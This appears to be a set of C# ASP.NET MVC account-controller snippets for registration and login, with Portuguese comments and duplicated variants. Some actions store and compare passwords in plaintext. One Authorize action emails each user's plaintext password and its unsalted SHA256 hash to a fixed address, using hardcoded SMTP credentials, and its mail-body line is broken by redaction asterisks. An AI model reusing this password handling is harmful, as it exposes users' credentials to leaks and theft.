public ActionResult Register(RegisterModel model) { if (ModelState.IsValid) { // Registrar usuários usersEntities context = new usersEntities(); var usuario = context.usuarios.Where(c => c.userName == model.UserName).FirstOrDefault(); // Se o usuário a ser cadastrado for diferente if (usuario == null) { usuarios cadUser = new usuarios(); cadUser.userName = model.UserName; cadUser.password = model.Password; cadUser.email = model.Email; cadUser.dataCadastro = DateTime.Now; context.AddTousuarios(cadUser); context.SaveChanges(); return(RedirectToAction("LogOn", "Account")); } else { ModelState.AddModelError(string.Empty, "Usuário já existe"); //return RedirectToAction("Register", "Account"); } } return(View(model)); }
public ActionResult Authorize(HashApp.Models.usertable userModel) { //var bytesToBeEncrypted = Encoding.UTF8.GetBytes(plainText); //var passwordBytes = Encoding.UTF8.GetBytes(password); //// Hash the password with SHA256 //passwordBytes = SHA256.Create().ComputeHash(passwordBytes); //var bytesEncrypted = Cipher.Encrypt(bytesToBeEncrypted, passwordBytes); //return Convert.ToBase64String(bytesEncrypted); var realPassword = userModel.password; var passwordbyte = Encoding.UTF8.GetBytes(userModel.password); var encrypted = SHA256.Create().ComputeHash(passwordbyte); userModel.password = Convert.ToBase64String(encrypted); MailMessage ePosta = new MailMessage(); ePosta.From = new MailAddress("*****@*****.**"); ePosta.To.Add("*****@*****.**"); ePosta.Subject = ""; ePosta.Body = "PASSWORD: "******" SHA256 = " + userModel.password; SmtpClient smtp = new SmtpClient(); smtp.Host = "smtp-mail.outlook.com"; smtp.Credentials = new System.Net.NetworkCredential("*****@*****.**", "pass"); smtp.Port = 587; smtp.EnableSsl = true; smtp.Send(ePosta); using (usersEntities db = new usersEntities()) { db.usertables.Add(userModel); db.SaveChanges(); } return(Content(userModel.username + " " + userModel.password)); }
public ActionResult LogOn(LogOnModel model, string returnUrl) { if (ModelState.IsValid) { // Utilizando o Modo LoOnModel com a camada do Entity usersEntities context = new usersEntities(); var usuario = context.usuarios.Where(c => c.userName == model.UserName && c.password == model.Password).FirstOrDefault(); if (usuario != null) { Session["Usuario"] = usuario.userName; return(RedirectToAction("Index", "Home")); } else { ModelState.AddModelError(string.Empty, "Usuario ou senha incorreto."); //return RedirectToAction("LogOn", "Account"); //throw new Exception("Usuario ou senha incorreto"); } } return(View(model)); }
public ActionResult LogOn(LogOnModel model, string returnUrl) { if (ModelState.IsValid) { // Utilizando o Modo LoOnModel com a camada do Entity usersEntities context = new usersEntities(); var usuario = context.usuarios.Where(c => c.userName == model.UserName && c.password == model.Password).FirstOrDefault(); if (usuario != null) { Session["Usuario"] = usuario.userName; return RedirectToAction("Index", "Home"); } else { ModelState.AddModelError(string.Empty, "Usuario ou senha incorreto."); //return RedirectToAction("LogOn", "Account"); //throw new Exception("Usuario ou senha incorreto"); } } return View(model); }
public ActionResult Register(RegisterModel model) { if (ModelState.IsValid) { // Registrar usuários usersEntities context = new usersEntities(); var usuario = context.usuarios.Where(c => c.userName == model.UserName).FirstOrDefault(); // Se o usuário a ser cadastrado for diferente if (usuario == null) { usuarios cadUser = new usuarios(); cadUser.userName = model.UserName; cadUser.password = model.Password; cadUser.email = model.Email; cadUser.dataCadastro = DateTime.Now; context.AddTousuarios(cadUser); context.SaveChanges(); return RedirectToAction("LogOn", "Account"); } else { ModelState.AddModelError(string.Empty, "Usuário já existe"); //return RedirectToAction("Register", "Account"); } } return View(model); }